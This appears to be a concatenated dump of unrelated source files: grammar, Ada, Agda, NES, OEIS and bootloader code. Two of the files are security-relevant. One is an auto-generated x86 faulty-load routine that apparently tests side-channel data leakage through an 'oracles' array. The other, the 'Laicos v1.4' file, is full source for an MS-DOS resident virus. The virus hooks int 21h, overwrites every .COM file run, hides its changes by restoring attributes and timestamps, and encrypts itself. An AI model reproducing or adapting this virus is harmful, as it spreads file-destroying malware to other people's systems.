: nonWildcardTypeArguments Identifier arguments
;
arrayCreatorRest
: '['
( ']' ('[' ']')* arrayInitializer
| expression ']' ('[' expression ']')* ('[' ']')*
| ']'
)
;
classCreatorRest
: arguments classBody?
;
nonWildcardTypeArguments
: '<' typeList '>'
;
arguments
: '(' expressionList? ')'
;
// LEXER =====================================================
HexLiteral
// underscores may be freely inserted after first hex digit and before last
: '0' ('x'|'X')
HexDigits
IntegerTypeSuffix?
;
DecimalLiteral
// Only a single zero digit may begin with a zero
// Underscores may be freely inserted after first digit and before last
: ( '0' | '1'..'9' ('_'* Digit)* ) IntegerTypeSuffix?
;
OctalLiteral
// Underscores may be freely inserted before the last digit.
// Don't know why underscores here are different from others -
// Maybe the leading 0 is considered a digit as well as a marker
// indicating that the following is a base 8 number
: '0' ('_'* '0'..'7')+ IntegerTypeSuffix?
;
BinaryLiteral
// underscores may be freely inserted after first digit and before last
: '0' ('b'|'B')
BinaryDigit ('_'* BinaryDigit)*
IntegerTypeSuffix?
;
fragment
BinaryDigit : ('0'|'1') ;
fragment
HexDigits : HexDigit ('_'* HexDigit)* ;
fragment
HexDigit : (Digit|'a'..'f'|'A'..'F') ;
fragment
Digits : Digit ('_'* Digit)* ;
fragment
Digit : '0'..'9' ;
fragment
IntegerTypeSuffix : ('l'|'L') ;
FloatingPointLiteral
: Digits '.' Digits? Exponent? FloatTypeSuffix?
| '.' Digits Exponent? FloatTypeSuffix?
| Digits Exponent FloatTypeSuffix?
| Digits FloatTypeSuffix
// Hex float literal
| ('0x' | '0X')
HexDigits? ('.' HexDigits?)?
( 'p' | 'P' ) ( '+' | '-' )? Digits // note decimal exponent
FloatTypeSuffix?
;
fragment
Exponent : ('e'|'E') ('+'|'-')? Digits ;
fragment
FloatTypeSuffix : ('f'|'F'|'d'|'D') ;
CharacterLiteral
: '\'' ( EscapeSequence | ~('\''|'\\') ) '\''
;
StringLiteral
: '"' ( EscapeSequence | ~('\\'|'"') )* '"'
;
fragment
EscapeSequence
: '\\' ('b'|'t'|'n'|'f'|'r'|'\"'|'\''|'\\')
| UnicodeEscape
| OctalEscape
;
fragment
OctalEscape
: '\\' ('0'..'3') ('0'..'7') ('0'..'7')
| '\\' ('0'..'7') ('0'..'7')
| '\\' ('0'..'7')
;
fragment
UnicodeEscape
: '\\' 'u' HexDigit HexDigit HexDigit HexDigit
;
ENUM
: 'enum' // {if (!enumIsKeyword) setType(Identifier);}
;
ASSERT
: 'assert' // {if (!assertIsKeyword) setType(Identifier);}
;
Identifier
: Letter (Letter|JavaIDDigit)*
;
/**I found this char range in JavaCC's grammar, but Letter and Digit overlap.
Still works, but...
*/
fragment
Letter
: '\u0024' // $
| '\u0041'..'\u005a' // A-Z
| '\u005f' // _
| '\u0061'..'\u007a' // a-z
| '\u00c0'..'\u00d6' // Latin Capital Letter A with grave - Latin Capital letter O with diaeresis
| '\u00d8'..'\u00f6' // Latin Capital letter O with stroke - Latin Small Letter O with diaeresis
| '\u00f8'..'\u00ff' // Latin Small Letter O with stroke - Latin Small Letter Y with diaeresis
| '\u0100'..'\u1fff' // Latin Capital Letter A with macron - Latin Small Letter O with stroke and acute
| '\u3040'..'\u318f' // Hiragana
| '\u3300'..'\u337f' // CJK compatibility
| '\u3400'..'\u3d2d' // CJK compatibility
| '\u4e00'..'\u9fff' // CJK compatibility
| '\uf900'..'\ufaff' // CJK compatibility
;
fragment
JavaIDDigit
: '\u0030'..'\u0039' // 0-9
| '\u0660'..'\u0669' // Arabic-Indic Digit 0-9
| '\u06f0'..'\u06f9' // Extended Arabic-Indic Digit 0-9
| '\u0966'..'\u096f' // Devanagari 0-9
| '\u09e6'..'\u09ef' // Bengali 0-9
| '\u0a66'..'\u0a6f' // Gurmukhi 0-9
| '\u0ae6'..'\u0aef' // Gujarati 0-9
| '\u0b66'..'\u0b6f' // Oriya 0-9
| '\u0be7'..'\u0bef' // Tami 0-9
| '\u0c66'..'\u0c6f' // Telugu 0-9
| '\u0ce6'..'\u0cef' // Kannada 0-9
| '\u0d66'..'\u0d6f' // Malayala 0-9
| '\u0e50'..'\u0e59' // Thai 0-9
| '\u0ed0'..'\u0ed9' // Lao 0-9
| '\u1040'..'\u1049' // Myanmar 0-9?
;
WS
: [ \r\t\u000C\n]+ -> channel(HIDDEN)
;
COMMENT
: '/*' .*? '*/' -> channel(HIDDEN)
;
LINE_COMMENT
: '//' ~[\r\n]* -> channel(HIDDEN)
;
|
source/amf/uml/amf-uml-triggers.ads | svn2github/matreshka | 24 | 21323 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
-- A trigger relates an event to a behavior that may affect an instance of
-- the classifier.
--
-- A trigger specification may be qualified by the port on which the event
-- occurred.
------------------------------------------------------------------------------
limited with AMF.UML.Events;
with AMF.UML.Named_Elements;
limited with AMF.UML.Ports.Collections;
package AMF.UML.Triggers is
pragma Preelaborate;
type UML_Trigger is limited interface
and AMF.UML.Named_Elements.UML_Named_Element;
type UML_Trigger_Access is
access all UML_Trigger'Class;
for UML_Trigger_Access'Storage_Size use 0;
not overriding function Get_Event
(Self : not null access constant UML_Trigger)
return AMF.UML.Events.UML_Event_Access is abstract;
-- Getter of Trigger::event.
--
-- The event that causes the trigger.
not overriding procedure Set_Event
(Self : not null access UML_Trigger;
To : AMF.UML.Events.UML_Event_Access) is abstract;
-- Setter of Trigger::event.
--
-- The event that causes the trigger.
not overriding function Get_Port
(Self : not null access constant UML_Trigger)
return AMF.UML.Ports.Collections.Set_Of_UML_Port is abstract;
-- Getter of Trigger::port.
--
-- A optional port of the receiver object on which the behavioral feature
-- is invoked.
end AMF.UML.Triggers;
|
proglangs-learning/Agda/sv20/assign1/Second.agda | helq/old_code | 0 | 14236 | <reponame>helq/old_code
{-# OPTIONS --without-K --safe #-}
module sv20.assign1.Second where
{- Code partially taken from the book "Programming Language Foundations in
- Agda" by <NAME>, <NAME>, <NAME> and many others. The book
- can be found at https://plfa.github.io/
-
- Based on chapters 6 and 7 - Connectives and Negation
- https://plfa.github.io/Connectives/
- https://plfa.github.io/Negation/
-}
open import Data.Product using (_×_; proj₁; proj₂) renaming (_,_ to ⟨_,_⟩)
open import Data.Sum using (_⊎_; inj₁; inj₂; [_,_])
open import Relation.Nullary using (¬_)
-- Logic can be formalised as types [1], so the current homework solution uses
-- types and type operations to proof logic operations.
--
-- [1] “Propositions as Types”, <NAME>, Communications of the ACM, December 2015.
------------------------------------------------------------------------------------------
-- HOMEWORK SOLUTION --
------------------------------------------------------------------------------------------
-- Conjuction is formalised in type systems as product
-- Prove that: A ⇒ B ⇒ C from A ∧ B ⇒ C
proof₁ : ∀ {A B C : Set}
→ (A × B → C)
-------------
→ (A → B → C)
proof₁ f a b = f ⟨ a , b ⟩
-- Prove that: (A ⇒ ¬ E ⇒ ¬ C) from ((A ∨ B) ⇒ (C ∨ D) ⇒ E)
-- Preliminary proofs
modus-tollens : ∀ {A B : Set}
→ (A → B)
-------------
→ (¬ B → ¬ A)
modus-tollens a→b = λ{¬b → λ{a → ¬b (a→b a)}}
-- Disjunction is formalised as Union
lemma₁ : ∀ {A B E : Set}
→ (A ⊎ B → E)
-------------
→ (A → E)
lemma₁ a⊎b→e a = a⊎b→e (inj₁ a)
lemma₂ : ∀ {C D : Set}
→ ¬ (C ⊎ D)
-------------
→ ¬ C
lemma₂ c⊎d = λ{c → c⊎d (inj₁ c)}
---- And finally the proof
proof₂ : ∀ {A B C D E : Set}
→ (A ⊎ B → C ⊎ D → E)
---------------------
→ (A → ¬ E → ¬ C)
proof₂ a⊎b→c⊎d→e a ¬e =
let
-- (A ⊎ B → C ⊎ D → E)
-- → A
-- ---------------------
-- → (C ⊎ D → E)
c⊎d→e = lemma₁ a⊎b→c⊎d→e a
-- (C ⊎ D → E)
-- → ¬E
-- -------------
-- → ¬ (C ⊎ D)
¬c⊎d = modus-tollens c⊎d→e ¬e
in
-- ¬ (C ⊎ D)
-- -------------
-- → ¬ C
lemma₂ ¬c⊎d
-------- Other stuff
stuff₁ : ∀ {C D : Set}
→ ¬ (C ⊎ D)
-------------
→ (¬ C) × (¬ D)
stuff₁ c⊎d = ⟨ (λ c → c⊎d (inj₁ c)) , (λ d → c⊎d (inj₂ d)) ⟩
|
include/sf-audio.ads | Fabien-Chouteau/ASFML | 0 | 19755 | <reponame>Fabien-Chouteau/ASFML<gh_stars>0
--//////////////////////////////////////////////////////////
-- //
-- // SFML - Simple and Fast Multimedia Library
-- // Copyright (C) 2007-2009 <NAME> (<EMAIL>)
-- //
-- // This software is provided 'as-is', without any express or implied warranty.
-- // In no event will the authors be held liable for any damages arising from the use of this software.
-- //
-- // Permission is granted to anyone to use this software for any purpose,
-- // including commercial applications, and to alter it and redistribute it freely,
-- // subject to the following restrictions:
-- //
-- // 1. The origin of this software must not be misrepresented;
-- // you must not claim that you wrote the original software.
-- // If you use this software in a product, an acknowledgment
-- // in the product documentation would be appreciated but is not required.
-- //
-- // 2. Altered source versions must be plainly marked as such,
-- // and must not be misrepresented as being the original software.
-- //
-- // 3. This notice may not be removed or altered from any source distribution.
-- //
--//////////////////////////////////////////////////////////
--/ @summary
--/ Audio module
--/
--/ @description
--/ Sounds, streaming (musics or custom sources), recording,
--/ spatialization.
--/
package Sf.Audio is
type sfMusic is null record;
type sfMusic_Ptr is access all sfMusic;
type sfSound is null record;
type sfSound_Ptr is access all sfSound;
type sfSoundBuffer is null record;
type sfSoundBuffer_Ptr is access all sfSoundBuffer;
type sfSoundBufferRecorder is null record;
type sfSoundBufferRecorder_Ptr is access all sfSoundBufferRecorder;
type sfSoundRecorder is null record;
type sfSoundRecorder_Ptr is access all sfSoundRecorder;
type sfSoundStream is null record;
type sfSoundStream_Ptr is access all sfSoundStream;
private
pragma Convention (C, sfMusic);
pragma Convention (C, sfMusic_Ptr);
pragma Convention (C, sfSound);
pragma Convention (C, sfSound_Ptr);
pragma Convention (C, sfSoundBuffer);
pragma Convention (C, sfSoundBuffer_Ptr);
pragma Convention (C, sfSoundBufferRecorder);
pragma Convention (C, sfSoundBufferRecorder_Ptr);
pragma Convention (C, sfSoundRecorder);
pragma Convention (C, sfSoundRecorder_Ptr);
pragma Convention (C, sfSoundStream);
pragma Convention (C, sfSoundStream_Ptr);
end Sf.Audio;
|
4.0.x/LongVarHUD/Adventure_HandlePlayerHurtLongHUD.asm | chronosv2/NESMaker_Public_Code_Repository | 6 | 28122 | ;;; assumes myHealth variable
;;; if a different variable should handle health
;;; change thename of myHealth.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; uses timers set in GameData\Constants:
;;OBJECT TIMERS
;HURT_TIMER = #$08
;INVINCIBILITY_TIMER = #$08
;RECOIL_SPEED_HI = #$06
;RECOIL_SPEED_LO = #$00
;;;; To change invincibility time, knock back speed, or hurt duration
;;;; updating the abovevalues in constants.
LDA Object_status,x
ORA #%00000001
STA Object_status,x
LDA #HURT_TIMER
STA Object_timer_0,x
ChangeObjectState #$00,#$02 ;; uses idle for hurt state.
LDA selfCenterX
STA recoil_selfX
LDA selfCenterY
STA recoil_selfY
LDA otherCenterX
STA recoil_otherX
LDA otherCenterY
STA recoil_otherY
JSR DetermineRecoilDirection
LDA Object_health,x
SEC
SBC #$01 ;; subtract other's strength
CMP #$01
BCS notPlayerDeath
.include SCR_HANDLE_PLAYER_DEATH
JMP doneWithPlayerHurt
notPlayerDeath:
STA Object_health,x
.include SCR_LONG_BARS
LongBar myHealth,myHealthHi,HUD_myHealth,HUD_myHealthHi
PlaySound #sfx_ouch
doneWithPlayerHurt: |
Source/Macro/Free.asm | xragey/qsmw | 0 | 3611 | ;-------------------------------------------------------------------------------
;
; qSMW - Macro/Free.asm
;
;-------------------------------------------------------------------------------
macro Free(addressStart, addressEnd)
pushpc
org <addressStart>
rep (<addressEnd>)-(<addressStart>) : db $FF
pullpc
endmacro
|
programs/oeis/018/A018224.asm | karttu/loda | 1 | 89354 | <filename>programs/oeis/018/A018224.asm
; A018224: a(n) = binomial(n, floor(n/2))^2 = A001405(n)^2.
; 1,1,4,9,36,100,400,1225,4900,15876,63504,213444,853776,2944656,11778624,41409225,165636900,590976100,2363904400,8533694884,34134779536,124408576656,497634306624,1828114918084,7312459672336,27043120090000,108172480360000,402335398890000,1609341595560000,6015361252737600
mov $1,1
add $1,$0
div $0,2
sub $1,1
bin $1,$0
pow $1,2
|
data/pokemon/base_stats/sinnoh/tangrowth.asm | Dev727/ancientplatinum | 0 | 244355 | <filename>data/pokemon/base_stats/sinnoh/tangrowth.asm
db 0 ; 465 DEX NO
db 100, 100, 125, 50, 110, 50
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 30 ; catch rate
db 211 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sinnoh/tangrowth/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_PLANT, EGG_PLANT ; egg groups
; tm/hm learnset
tmhm
; end
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_21829_903.asm | ljhsiun2/medusa | 9 | 167123 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1e3b2, %rbp
nop
nop
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%rbp)
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_UC_ht+0x5ba8, %r14
nop
nop
nop
xor $26279, %r8
movl $0x61626364, (%r14)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_WT_ht+0xfda8, %rsi
lea addresses_D_ht+0xb328, %rdi
nop
nop
nop
dec %rbp
mov $100, %rcx
rep movsw
nop
add $14161, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0xd4b0, %rdi
nop
nop
nop
nop
and $46962, %rbx
movb $0x51, (%rdi)
nop
nop
inc %rdx
// Store
lea addresses_WC+0xf928, %rsi
nop
nop
nop
nop
sub $52359, %rcx
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_RW+0x18b98, %rdx
nop
nop
nop
dec %rdi
mov $0x5152535455565758, %rbx
movq %rbx, (%rdx)
nop
nop
nop
nop
nop
and $31522, %rsi
// Store
lea addresses_WC+0x1b528, %rcx
nop
nop
and %rbp, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, (%rcx)
add %rdx, %rdx
// Faulty Load
lea addresses_US+0x5fa8, %rbx
dec %rax
movups (%rbx), %xmm7
vpextrq $1, %xmm7, %rdi
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
MSDOS/Virus.MSDOS.Unknown.laicos.asm | fengjixuchui/Family | 3 | 7225 | <reponame>fengjixuchui/Family<gh_stars>1-10
; ------------------------------------------------------------------------- ;
; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
; `-------------------^------------------- ;
; v1.0 - memory resident *.com overwritter, MCB style | Size: 283 ;
; v1.1 - makes sure it is really a .com file `---------- ;
; v1.2 - add infection of any file + restores attributes ;
; v1.3 - add time/date restoration of infected files ;
; v1.4 - add XOR,NOT,NEG,ROR encryption to this ;
; ------------------------------------------------------------------------- ;
; Thanks: To SPo0ky!! I Could not have done this without his patience!!!! ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm laicos.asm ;
; to link :::::] tlink /t laicos.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; this be a .com file
.286 ; need this for pusha/popa
start: jmp first ; jump to first (overwritten)
xor bp,bp ; XOR the value of bp to 0
lea si,encd ; load SI with encrypted area start
mov di,si ; DI points there now too
call encr ; call the encryption routine
jmp encd ; jump to encrypted area
encr: lodsb ; load a byte
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
key: xor al,0 ; encryptin 4
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; put the byte back
loop encr ; do it for all bytes
ret ; return from call
encd: mov ax,0deadh ; move 0deadh into AX
int 21h ; if resident, 0deadh is in BX now
cmp bx,0deadh ; are we resident?
jne go_rez ; nope were not, go rezident now
int 20h ; we are, terminate
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
mov ax,cs ; move CS into AX
dec ax ; decrement AX and
mov ds,ax ; move AX into DS
sub word ptr ds:[3],40h ; sub 1kb from accessed MCB
xor ax,ax ; ax to 0
mov ds,ax ; DS has no value now
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
mov cl,6 ; load cl with 6
shl ax,cl ; multiply BIOS base mem by 64
mov es,ax ; move the value into ES
push cs ; get cs again so you can
pop ds ; restore DS to original value
xor di,di ; DI must be 0 now
lea si,start ; load SI with start of virus
mov cx,finish-start ; # of bytes to write
rep movsb ; load the virus into memory
hook: push es ; push the value in ES
pop ds ; pop it into DS
mov ax,3521h ; get the int 21h interrupt
int 21h ; get it now man!
mov word ptr ds:[oi21-100h],bx ; save the old one here
mov word ptr ds:[oi21+2-100h],es ; save it here too
mov ax,2521h ; point IVT to new ISR
lea dx,isr-100h ; load DX with start of ISR
int 21h ; IVT now points to new ISR
int 20h ; end now that we have hooked
isr: pushf ; push all flags
cmp ax,0deadh ; have we added check value?
jne exec ; yup, wait for a 4bh
mov bx,0deadh ; nope, adding it now
popf ; pop the flags
iret ; pop cs:ip+flags from stack
exec: pusha ; push all registers
push ds ; push value of DS
push es ; push ES as well
cmp ah,4bh ; something being executed?
je main ; yup, check if .com
jne exit ; nope, point to original ISR
main: push ds ; push DS again
pop es ; and pop it into ES
mov di,dx ; move file name info to DI
mov cx,64 ; 64 byte file name possible
mov al,'.' ; load al with .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; is it .CO- ?
jne exit ; not a .com file, exit
cmp word ptr ds:[di+2],'M' ; check for .--M
jne exit ; not a .com file, exit
mov ax,4300h ; get the file attributes
int 21h ; we have them now
push cx ; save the values
push dx ; save the values
push ds ; save the values
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; set them now
mov ax,3d02h ; open the file then
int 21h ; file is now open
xchg ax,bx ; save the file info
push cs ; push 100h
push cs ; push it again
pop ds ; into DS
pop es ; into ES
mov ax,5700h ; get time / date stamps
int 21h ; we have the stamps now
push dx ; save the time
push cx ; save the date
in al,40h ; get random value
mov byte ptr cs:[key-100h+1],al ; save as our key
mov ah,40h ; write to file
lea dx,start-100h ; load start address
mov cx,encd-start ; # of bytes to write
int 21h ; write them now
mov bp,100h ; load bp with 100h
lea di,finish-100h ; end of encrypted stuff
lea si,encd-100h ; start of encrypted stuff
mov cx,finish-encd ; # of bytes to encrypt
cld ; clear direction flag
call encr ; call the encryption routine
mov ah,40h ; write to file
mov cx,finish-encd ; total # of bytes to write
lea dx,finish-100h ; write from here
int 21h ; write them now
mov ax,5701h ; restore time / date
pop cx ; from this value
pop dx ; and from this value
int 21h ; restore them now
mov ax,4301h ; set file attributes
pop ds ; restore from saved value
pop dx ; restore from this one too
pop cx ; and lastely, this one
int 21h ; attributes are restored
mov ah,3eh ; close the file
int 21h ; it's closed
exit: pop es ; pop ES from stack
pop ds ; pop DS from stack
popa ; pop all registers
popf ; pop all flags
db 0eah ; jump to original ISR
; --------------------------( The Data Area ) ----------------------------- ;
; ------------------------------------------------------------------------- ;
oi21 dd ? ; old int 21 is here
finish label near ; the offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
first: lea di,start ; load with start address
lea si,new ; overwrite with these bytes
movsw ; overwrite two bytes
movsb ; overwrite one byte
jmp encd ; jump to encrypted area start
new: mov cx,finish-encd ; this will overwrite the jump
; ----------------------------( Its All Over )----------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end start ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
|
src/ini-section_vector.adb | SSOCsoft/Log_Reporter | 0 | 25224 | Function INI.Section_Vector( Object : in Instance )
return NSO.Types.String_Vector.Vector is
use NSO.Types.String_Vector;
Begin
Return Result : Vector := Empty_Vector do
For Section in Object.Iterate loop
Declare
Key : String renames INI.KEY_SECTION_MAP.KEY(Section);
Begin
if Key'Length in Positive then
Result.Append( Key );
end if;
End;
end loop;
End return;
End INI.Section_Vector;
|
machine_language/test.asm | hadleyhzy34/computer-architecture | 0 | 101719 | <gh_stars>0
//adds up two numbers
// RAM[2]=RAM[0]+RAM[1]
//usage:put the values that you wish to add
// in RAM[0] and RAM[1]
@0
D=M
@1
D=D+M
@2
M=D
//inifnite loop to terminate
@6
0;JMP
|
programs/oeis/224/A224692.asm | karttu/loda | 0 | 177389 | <reponame>karttu/loda
; A224692: Expansion of (1+5*x+7*x^2-x^3)/((1-2*x^2)*(1-x)*(1+x)).
; 1,5,10,14,28,32,64,68,136,140,280,284,568,572,1144,1148,2296,2300,4600,4604,9208,9212,18424,18428,36856,36860,73720,73724,147448,147452,294904,294908,589816,589820,1179640,1179644,2359288,2359292,4718584,4718588,9437176
mov $1,1
mov $2,$0
lpb $2,1
add $1,$4
mov $3,$4
mov $4,$1
add $1,2
lpb $4,1
trn $4,$3
lpe
add $1,2
sub $2,1
lpe
|
bootloader/boot2.asm | JeppeSRC/RetardOS | 2 | 95691 | BITS 16
%define _BREAK
%ifdef _BREAK
%define BREAK xchg bx, bx
%else
%define BREAK
%endif
%define KERNEL_RMODE_LOC 0x820
